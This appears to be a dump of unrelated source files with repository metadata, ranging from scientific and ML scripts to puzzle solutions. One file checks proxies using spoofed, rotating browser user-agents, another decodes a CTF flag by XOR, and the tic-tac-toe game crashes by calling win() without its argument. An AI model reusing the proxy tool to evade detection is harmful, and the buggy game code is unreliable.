mesh = BoxMesh(comm, Point(0.0, 0.0,0.0), Point(1.0, 1.0, 1.0),
n_ele, n_ele, n_ele*aspect_ratio)
#read mesh and boundaries from file
boundaries = MeshFunction('size_t', mesh, mesh.topology().dim() - 1)
mark = {"Internal":0, "wall": 1,"inlet": 2,"outlet": 3 }
boundaries.set_all(mark["Internal"])
wall=Noslip()
wall.mark(boundaries, mark["wall"])
left = Left()
left.mark(boundaries, mark["inlet"])
right = Right()
right.mark(boundaries, mark["outlet"])
#read viscosity coefficient from file
mu = Constant(0.001)
#Define Taylor-Hood element and function space
P2 = VectorElement("Lagrange", mesh.ufl_cell(), 2)
P1 = FiniteElement("Lagrange", mesh.ufl_cell(), 1)
TH = P2 * P1
W = FunctionSpace(mesh, TH)
# Define variational problem
(u, p) = TrialFunctions(W)
(v, q) = TestFunctions(W)
ds = dolfin.Measure('ds',domain=mesh,subdomain_data=boundaries)
n = dolfin.FacetNormal(mesh)
#Define boundary condition
p_in = dolfin.Constant(1.0) # pressure inlet
p_out = dolfin.Constant(0.0) # pressure outlet
noslip = dolfin.Constant([0.0]*mesh.geometry().dim()) # no-slip wall
#Boundary conditions
# No-slip Dirichlet boundary condition for velocity
bc0 = DirichletBC(W.sub(0), noslip, boundaries, mark["wall"])
bcs = [bc0]
#Neumann BC
gNeumann = - p_in * inner(n, v) * ds(mark["inlet"]) + \
- p_out * inner(n, v) * ds(mark["outlet"])
#Body force
f = Constant([0.0]*mesh.geometry().dim())
#Weak form
a = mu*inner(grad(u), grad(v))*dx + div(v)*p*dx + q*div(u)*dx # The sign of the pressure has been flipped for symmetric system
L= inner(f, v)*dx + gNeumann
U = Function(W)
solve(a == L, U, bcs)
uh, ph = U.split()
#Output solution p,u to paraview
dolfin.XDMFFile("pressure.xdmf").write_checkpoint(ph, "p")
dolfin.XDMFFile("velocity.xdmf").write_checkpoint(uh, "u")
flux = [dolfin.assemble(dolfin.dot(uh, n)*ds(i)) for i in range(len(mark))]
if comm.Get_rank() == 0:
for key, value in mark.items():
print("Flux_%s= %.15lf"%(key,flux[value]))
| 27.537634 | 126 | 0.679422 |
8f487ccac25c1f508943b7e960c4b0049246f6d5
| 1,483 |
py
|
Python
|
app.py
|
wbigger/2021-tris
|
381bea2788be2502b83aa7bc93610567acad0263
|
[
"MIT"
] | null | null | null |
app.py
|
wbigger/2021-tris
|
381bea2788be2502b83aa7bc93610567acad0263
|
[
"MIT"
] | null | null | null |
app.py
|
wbigger/2021-tris
|
381bea2788be2502b83aa7bc93610567acad0263
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python3
print("Gioco del tic tac toe")
board = [
['-','-','-'],
['-','-','-'],
['-','-','-']
]
symList = ['X','O']
def mostra_tabellone():
for i in range(3):
for j in range(3):
print(board[i][j], end=" ")
print()
def win(board):
for sym in symList:
#check rows
for i in range(3):
if board[i].count(sym)==3:
return sym
#check columns
for i in range(3):
if (board[0][i]==sym and
board[1][i]==sym and
board[2][i]==sym):
return sym
# check diagonals
if (board[0][0]==sym and
board[1][1]==sym and
board[2][2]==sym):
return sym
if (board[0][2]==sym and
board[1][1]==sym and
board[2][0]==sym):
return sym
return False
winner=False
for idx in range(9):
symbol = symList[idx%2]
mostra_tabellone()
print("Il tuo simbolo è: "+symbol)
while True:
r = int(input("Inserisci la riga (valori da 0 a 2): "))
c = int(input("Inserisici la colonna (valori da 0 a 2): "))
# aggiungere anche condizione che r,c devono essere compresi tra 0 e 2
if board[r][c]=='-':
board[r][c] = symbol
break
winner=win()
if winner:
break
mostra_tabellone()
print("The winner is... "+winner+"!")
| 21.185714 | 79 | 0.462576 |
706720f9584247fe1387ca09ddee93c7af47920a
| 2,024 |
py
|
Python
|
tead/event.py
|
JeFaProductions/TextAdventure2
|
4ae690a1e41f30a564a77015f76346d55466c325
|
[
"MIT"
] | 2 |
2016-08-28T21:32:39.000Z
|
2016-09-02T05:56:53.000Z
|
tead/event.py
|
JeFaProductions/TextAdventure2
|
4ae690a1e41f30a564a77015f76346d55466c325
|
[
"MIT"
] | 7 |
2016-09-01T22:03:13.000Z
|
2019-06-13T21:38:05.000Z
|
tead/event.py
|
JeFaProductions/TextAdventure2
|
4ae690a1e41f30a564a77015f76346d55466c325
|
[
"MIT"
] | null | null | null |
import queue
ROOM_ENTERED = 'roomEntered'
class Event:
def __init__(self, eventType='', userParam=dict()):
self.type = eventType
self.userParam = userParam
class EventSystem:
def __init__(self):
self._eventQueue = queue.Queue()
self._eventHandlers = dict()
def registerEventHander(self, eventType, callback):
''' Register a handler to be called on the given event type.
eventType specifies the type of event the handler should process.
callback specifies the function that should be called on the event.
Its function header should look like "def myCallback(event):"
Returns the ID of the handler.
'''
if not eventType in self._eventHandlers:
self._eventHandlers[eventType] = []
handlerID = len(self._eventHandlers[eventType])
self._eventHandlers[eventType].append(callback)
return handlerID
def unregisterEventHandler(self, eventType, handlerID):
''' Unregister a handler, so it won't be called on the specified event.
eventType specifies the type of event the handler should process.
handlerID specifies the ID of the handler, which should be unregistered.
The ID was returned by the corresponding register-function.
Returns True on success, else False.
'''
if not eventType in self._eventHandlers:
return False
if handlerID >= len(self._eventHandlers[eventType]):
return False
self._eventHandlers[eventType].pop(handlerID)
return True
def createEvent(self, event):
self._eventQueue.put_nowait(event)
def processEvents(self):
while not self._eventQueue.empty():
event = self._eventQueue.get_nowait()
# check if eventhandler wants to process event
if not event.type in self._eventHandlers:
continue
for cb in self._eventHandlers[event.type]:
cb(event)
| 30.666667 | 80 | 0.651186 |
d98ba3c2b414703556864f30f4b3118522a3cc86
| 2,669 |
py
|
Python
|
examples/text_classification/ernie_doc/export_model.py
|
mukaiu/PaddleNLP
|
0315365dbafa6e3b1c7147121ba85e05884125a5
|
[
"Apache-2.0"
] | null | null | null |
examples/text_classification/ernie_doc/export_model.py
|
mukaiu/PaddleNLP
|
0315365dbafa6e3b1c7147121ba85e05884125a5
|
[
"Apache-2.0"
] | null | null | null |
examples/text_classification/ernie_doc/export_model.py
|
mukaiu/PaddleNLP
|
0315365dbafa6e3b1c7147121ba85e05884125a5
|
[
"Apache-2.0"
] | null | null | null |
# Copyright (c) 2022 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import argparse
import os
import paddle
import shutil
from paddlenlp.utils.log import logger
from predict import LongDocClassifier
# yapf: disable
parser = argparse.ArgumentParser()
parser.add_argument("--batch_size", default=16, type=int,
help="Batch size per GPU/CPU for predicting (In static mode, it should be the same as in model training process.)")
parser.add_argument("--model_name_or_path", type=str, default="ernie-doc-base-zh",
help="Pretraining or finetuned model name or path")
parser.add_argument("--max_seq_length", type=int, default=512,
help="The maximum total input sequence length after SentencePiece tokenization.")
parser.add_argument("--memory_length", type=int, default=128, help="Length of the retained previous heads.")
parser.add_argument("--device", type=str, default="cpu", choices=["cpu", "gpu"],
help="Select cpu, gpu devices to train model.")
parser.add_argument("--dataset", default="iflytek", choices=["imdb", "iflytek", "thucnews", "hyp"], type=str,
help="The training dataset")
parser.add_argument("--static_path", default=None, type=str,
help="The path which your static model is at or where you want to save after converting.")
args = parser.parse_args()
# yapf: enable
if __name__ == "__main__":
paddle.set_device(args.device)
if os.path.exists(args.model_name_or_path):
logger.info("init checkpoint from %s" % args.model_name_or_path)
if args.static_path and os.path.exists(args.static_path):
logger.info("will remove the old model")
shutil.rmtree(args.static_path)
predictor = LongDocClassifier(model_name_or_path=args.model_name_or_path,
batch_size=args.batch_size,
max_seq_length=args.max_seq_length,
memory_len=args.memory_length,
static_mode=True,
static_path=args.static_path)
| 46.824561 | 135 | 0.68003 |
7976f1055e26936d39c3f5a3f96886a541a291aa
| 2,704 |
py
|
Python
|
udm-bildungslogin/usr/lib/python2.7/dist-packages/univention/udm/modules/bildungslogin_license.py
|
univention/bildungslogin
|
29bebe858a5445dd5566aad594b33b9dd716eca4
|
[
"MIT"
] | null | null | null |
udm-bildungslogin/usr/lib/python2.7/dist-packages/univention/udm/modules/bildungslogin_license.py
|
univention/bildungslogin
|
29bebe858a5445dd5566aad594b33b9dd716eca4
|
[
"MIT"
] | null | null | null |
udm-bildungslogin/usr/lib/python2.7/dist-packages/univention/udm/modules/bildungslogin_license.py
|
univention/bildungslogin
|
29bebe858a5445dd5566aad594b33b9dd716eca4
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
#
# Copyright 2021 Univention GmbH
#
# https://www.univention.de/
#
# All rights reserved.
#
# The source code of this program is made available
# under the terms of the GNU Affero General Public License version 3
# (GNU AGPL V3) as published by the Free Software Foundation.
#
# Binary versions of this program provided by Univention to you as
# well as other copyrighted, protected or trademarked materials like
# Logos, graphics, fonts, specific documentations and configurations,
# cryptographic keys etc. are subject to a license agreement between
# you and Univention.
#
# This program is provided in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public
# License with the Debian GNU/Linux or Univention distribution in file
# /usr/share/common-licenses/AGPL-3; if not, see
# <https://www.gnu.org/licenses/>.
"""
Module and object specific for "bildungslogin/license" UDM module.
"""
from __future__ import absolute_import, unicode_literals
from ..encoders import (
DatePropertyEncoder,
DisabledPropertyEncoder,
StringIntPropertyEncoder,
dn_list_property_encoder_for,
)
from .generic import GenericModule, GenericObject, GenericObjectProperties
class ExpiredPropertyEncoder(DisabledPropertyEncoder):
@staticmethod
def encode(value=None):
if value is None:
return None
return "1" if value else "0"
class BildungsloginLicenseObjectProperties(GenericObjectProperties):
"""bildungslogin/license UDM properties."""
_encoders = {
"quantity": StringIntPropertyEncoder,
"validity_start_date": DatePropertyEncoder,
"validity_end_date": DatePropertyEncoder,
"ignored": DisabledPropertyEncoder,
"delivery_date": DatePropertyEncoder,
"num_assigned": StringIntPropertyEncoder,
"num_expired": StringIntPropertyEncoder,
"num_available": StringIntPropertyEncoder,
"assignments": dn_list_property_encoder_for("bildungslogin/assignment"),
"expired": ExpiredPropertyEncoder,
}
class BildungsloginLicenseObject(GenericObject):
"""Better representation of bildungslogin/license properties."""
udm_prop_class = BildungsloginLicenseObjectProperties
class BildungsloginLicenseModule(GenericModule):
"""BildungsloginLicenseObject factory"""
_udm_object_class = BildungsloginLicenseObject
class Meta:
supported_api_versions = [1, 2]
suitable_for = ["bildungslogin/license"]
| 32.578313 | 80 | 0.75037 |
30b9b62f9f4a4350440a91a6d9b63e96c38bdc8e
| 1,241 |
py
|
Python
|
py-td3-cinema/obj.py
|
HuguesGuilleus/istyPOO
|
f460665799be2b2f34a1ebaa9878e06bb028a410
|
[
"BSD-3-Clause"
] | null | null | null |
py-td3-cinema/obj.py
|
HuguesGuilleus/istyPOO
|
f460665799be2b2f34a1ebaa9878e06bb028a410
|
[
"BSD-3-Clause"
] | null | null | null |
py-td3-cinema/obj.py
|
HuguesGuilleus/istyPOO
|
f460665799be2b2f34a1ebaa9878e06bb028a410
|
[
"BSD-3-Clause"
] | null | null | null |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
from storage.struct import Struct as Struct
from storage.db import DB as DB
if not os.path.exists("data/"):
os.makedirs("data/")
# Classes
class Guest(Struct):
def __init__(self, db):
super(Guest, self).__init__({
"*Name": "",
"tel": "",
"mail": "",
"desc": "",
}, db)
GuestDB = DB("data/guest.db", Guest)
class Functionary(Struct):
def __init__(self, db):
super(Functionary, self).__init__({
"*name": "",
"info": "",
"tel": "",
"mail": "",
"screening": [],
}, db)
FunctionaryDB = DB("data/functionary.db", Functionary)
class Screening(Struct):
def __init__(self, db):
super(Screening, self).__init__({
"*title": "",
"location": b"",
"guest": b"",
"debate": False,
"ticketAvailable": 0,
"ticketSold": 0,
"ticketBooked": 0,
"todo": [],
}, db)
ScreeningDB = DB("data/seance.db", Screening)
class Location(Struct):
def __init__(self, db):
super(Location, self).__init__({
"*name": "",
"addresse": "",
"nbTicket": 0,
"type": "cinema",
"supervisor": b"",
}, db)
def getDB(self, key):
if key == "supervisor":
return FunctionaryDB
return None
LocationDB = DB("data/location.db", Location)
| 20.016129 | 54 | 0.598711 |
ba94b8d454521a32f19d17bede93c216fb9a272e
| 148 |
py
|
Python
|
Python/BasicDataTypes/finding_the_percentage.py
|
rho2/HackerRank
|
4d9cdfcabeb20212db308d8e4f2ac1b8ebf7d266
|
[
"MIT"
] | null | null | null |
Python/BasicDataTypes/finding_the_percentage.py
|
rho2/HackerRank
|
4d9cdfcabeb20212db308d8e4f2ac1b8ebf7d266
|
[
"MIT"
] | null | null | null |
Python/BasicDataTypes/finding_the_percentage.py
|
rho2/HackerRank
|
4d9cdfcabeb20212db308d8e4f2ac1b8ebf7d266
|
[
"MIT"
] | null | null | null |
l = {}
for _ in range(int(input())):
s = input().split()
l[s[0]] = sum([float(a) for a in s[1:]])/(len(s)-1)
print('%.2f' % l[input()])
| 24.666667 | 55 | 0.466216 |
30210087e33980eb24daf4d679f8868eeef662a7
| 294 |
py
|
Python
|
0000 hihoOnce/175 Robots Crossing River/main.py
|
SLAPaper/hihoCoder
|
3f64d678c5dd46db36345736eb56880fb2d2c5fe
|
[
"MIT"
] | null | null | null |
0000 hihoOnce/175 Robots Crossing River/main.py
|
SLAPaper/hihoCoder
|
3f64d678c5dd46db36345736eb56880fb2d2c5fe
|
[
"MIT"
] | null | null | null |
0000 hihoOnce/175 Robots Crossing River/main.py
|
SLAPaper/hihoCoder
|
3f64d678c5dd46db36345736eb56880fb2d2c5fe
|
[
"MIT"
] | null | null | null |
from math import ceil
z, y, x = sorted(int(x) for x in raw_input().split())
if x <= y + z:
print int(ceil((x + y + z) / 20.0)) * 6
else:
run = (y + z) / 10
xr = x - 10 * run
nxr = (y + z) % 10
xr -= 15 - nxr if nxr < 8 else nxr
print int(run + 1 + ceil(xr / 15.0)) * 6
| 24.5 | 53 | 0.486395 |
3066a68f25a0b8f12738cd73460642da98c0609a
| 2,832 |
py
|
Python
|
validproxy-master/proxyon.py
|
Zusyaku/Termux-And-Lali-Linux-V2
|
b1a1b0841d22d4bf2cc7932b72716d55f070871e
|
[
"Apache-2.0"
] | 2 |
2021-11-17T03:35:03.000Z
|
2021-12-08T06:00:31.000Z
|
validproxy-master/proxyon.py
|
Zusyaku/Termux-And-Lali-Linux-V2
|
b1a1b0841d22d4bf2cc7932b72716d55f070871e
|
[
"Apache-2.0"
] | null | null | null |
validproxy-master/proxyon.py
|
Zusyaku/Termux-And-Lali-Linux-V2
|
b1a1b0841d22d4bf2cc7932b72716d55f070871e
|
[
"Apache-2.0"
] | 2 |
2021-11-05T18:07:48.000Z
|
2022-02-24T21:25:07.000Z
|
import requests
import argparse
import sys
import os
import urllib3
import random
def user_agent():
useragent = [
"Mozilla/5.0 CK={ } (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36",
"Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20070308 Minefield/3.0a1",
"Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
"Mozilla/5.0 (Linux; Android 4.2.1; en-us; Nexus 5 Build/JOP40D) AppleWebKit/535.19 (KHTML, like Gecko; googleweblight) Chrome/38.0.1025.166 Mobile Safari/535.19",
"Mozilla/5.0 (Linux; Android 6.0.1; RedMi Note 5 Build/RB3N5C; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/68.0.3440.91 Mobile Safari/537.36",
]
return random.choice(useragent)
def console_clear():
try:
if sys.platform == "win32":
os.system("cls")
else:
os.system("clear")
return 0
except Exception:
print("could not clear console")
return 1
console_clear()
def file_writer(filename, data):
opnr = open(filename, "a+")
opnr.write(data)
opnr.close()
parse = argparse.ArgumentParser(description="Send request to a website using proxies to check if it's online How to: python proxyon.py proxies.txt https://www.google.com/")
parse.add_argument("proxy", type=str, help="Enter the list of proxies Example: proxies.txt")
parse.add_argument("web", type=str, help="Enter a website to send http requests using proxies.txt Example: https://www.google.com/")
args = parse.parse_args()
with open(args.proxy, "r") as opnr:
for x in opnr:
if x[0].strip().isdigit():
try:
req = requests.get(args.web, headers={"User-Agent": user_agent()}, timeout=10 ,proxies={"https": x.strip(), "http": x.strip()})
if req.status_code == 200:
file_writer("onlineProxies.txt", x+"\n")
print("\033[1;32;40m[+]Status code: {0} OK Proxy: {1}\033[1;0m".format(req.status_code, x))
else:
print("\033[1;36;40m[-]Status code: {0} Proxy: {1}\033[1;0m".format(req.status_code, x))
except Exception:
print("\033[1;36m[-]Error: {0}\033[1;0m".format(x))
pass
| 44.952381 | 173 | 0.610876 |
233ef9c92519a99521c52fd9bc198d3800045e8e
| 504 |
py
|
Python
|
rev/rev-verybabyrev/solve.py
|
NoXLaw/RaRCTF2021-Challenges-Public
|
1a1b094359b88f8ebbc83a6b26d27ffb2602458f
|
[
"MIT"
] | 2 |
2021-08-09T17:08:12.000Z
|
2021-08-09T17:08:17.000Z
|
rev/rev-verybabyrev/solve.py
|
NoXLaw/RaRCTF2021-Challenges-Public
|
1a1b094359b88f8ebbc83a6b26d27ffb2602458f
|
[
"MIT"
] | null | null | null |
rev/rev-verybabyrev/solve.py
|
NoXLaw/RaRCTF2021-Challenges-Public
|
1a1b094359b88f8ebbc83a6b26d27ffb2602458f
|
[
"MIT"
] | 1 |
2021-10-09T16:51:56.000Z
|
2021-10-09T16:51:56.000Z
|
af = list(b"\x13\x13\x11\x17\x12\x1d\x48\x45\x45\x41\x0b\x26\x2c\x42\x5f\x09\x0b\x5f\x6c\x3d\x56\x56\x1b\x54\x5f\x41\x45\x29\x3c\x0b\x5c\x58\x00\x5f\x5d\x09\x54\x6c\x2a\x40\x06\x06\x6a\x27\x48\x42\x5f\x4b\x56\x42\x2d\x2c\x43\x5d\x5e\x6c\x2d\x41\x07\x47\x43\x5e\x31\x6b\x5a\x0a\x3b\x6e\x1c\x49\x54\x5e\x1a\x2b\x34\x05\x5e\x47\x28\x28\x1f\x11\x26\x3b\x07\x50\x04\x06\x04\x0d\x0b\x05\x03\x48\x77\x0a")
flag = "r"
char = "r"
for stuff in af:
flag += chr(ord(char) ^ stuff)
char = flag[-1]
print(flag)
| 56 | 398 | 0.702381 |
aea9cacfd1d4f1a413d1bb430f1a08ee6761f9be
| 1,485 |
py
|
Python
|
src/Node.py
|
LukasTinnes/VenturePainter
|
cb1f24fda2a43d402a9c5a401d713af0c950270b
|
[
"Unlicense"
] | 1 |
2020-05-29T21:09:33.000Z
|
2020-05-29T21:09:33.000Z
|
src/Node.py
|
LukasTinnes/VenturePainter
|
cb1f24fda2a43d402a9c5a401d713af0c950270b
|
[
"Unlicense"
] | 3 |
2020-06-14T11:33:54.000Z
|
2022-01-13T03:31:06.000Z
|
src/Node.py
|
LukasTinnes/VenturePainter
|
cb1f24fda2a43d402a9c5a401d713af0c950270b
|
[
"Unlicense"
] | null | null | null |
class Node:
"""
A node in a graph
"""
def __init__(self, identifier):
"""
:param identifier: Identifier is hash of given Shape Object
"""
self.identifier = identifier
self.outgoing_pointers = []
self.incoming_pointers = []
def get_identifier(self):
return self.identifier
def point_to(self, identifier):
"""
Points to Node with the given identifier.
:param identifier:
:return:
"""
self.incoming_pointers.append(identifier)
def pointed_at(self, identifier):
self.outgoing_pointers.append(identifier)
def has_edges(self):
return len(self.incoming_pointers) > 0 or len(self.outgoing_pointers) > 0
def has_mutual_edge(self):
for in_edge in self.incoming_pointers:
if in_edge in self.outgoing_pointers:
return True
return False
def search_for(self, identifier):
return self.__search_for(identifier, [])
def __search_for(self, identifier, exclude):
if self.identifier == identifier:
return self
else:
for node in self.incoming_pointers:
if not hash(node) in exclude:
exclude.append(hash(node))
ret = node.__search_for(identifier, exclude)
if ret is not None:
return ret
def __hash__(self):
return self.identifier
| 28.018868 | 81 | 0.584512 |
aec4a874cf00905f1f3609980c64b8fe4ce94a76
| 245 |
bzl
|
Python
|
tools/rules/cu.bzl
|
vuanvin/pytorch
|
9267fd8d7395074001ad7cf2a8f28082dbff6b0b
|
[
"Intel"
] | 5 |
2018-04-24T13:41:12.000Z
|
2019-07-09T07:32:09.000Z
|
tools/rules/cu.bzl
|
vuanvin/pytorch
|
9267fd8d7395074001ad7cf2a8f28082dbff6b0b
|
[
"Intel"
] | 14 |
2021-10-14T06:58:50.000Z
|
2021-12-17T11:51:07.000Z
|
tools/rules/cu.bzl
|
vuanvin/pytorch
|
9267fd8d7395074001ad7cf2a8f28082dbff6b0b
|
[
"Intel"
] | 7 |
2020-08-31T22:49:59.000Z
|
2020-09-15T14:29:07.000Z
|
load("@rules_cuda//cuda:defs.bzl", "cuda_library")
NVCC_COPTS = ["--expt-relaxed-constexpr", "--expt-extended-lambda"]
def cu_library(name, srcs, copts = [], **kwargs):
cuda_library(name, srcs = srcs, copts = NVCC_COPTS + copts, **kwargs)
| 35 | 73 | 0.681633 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.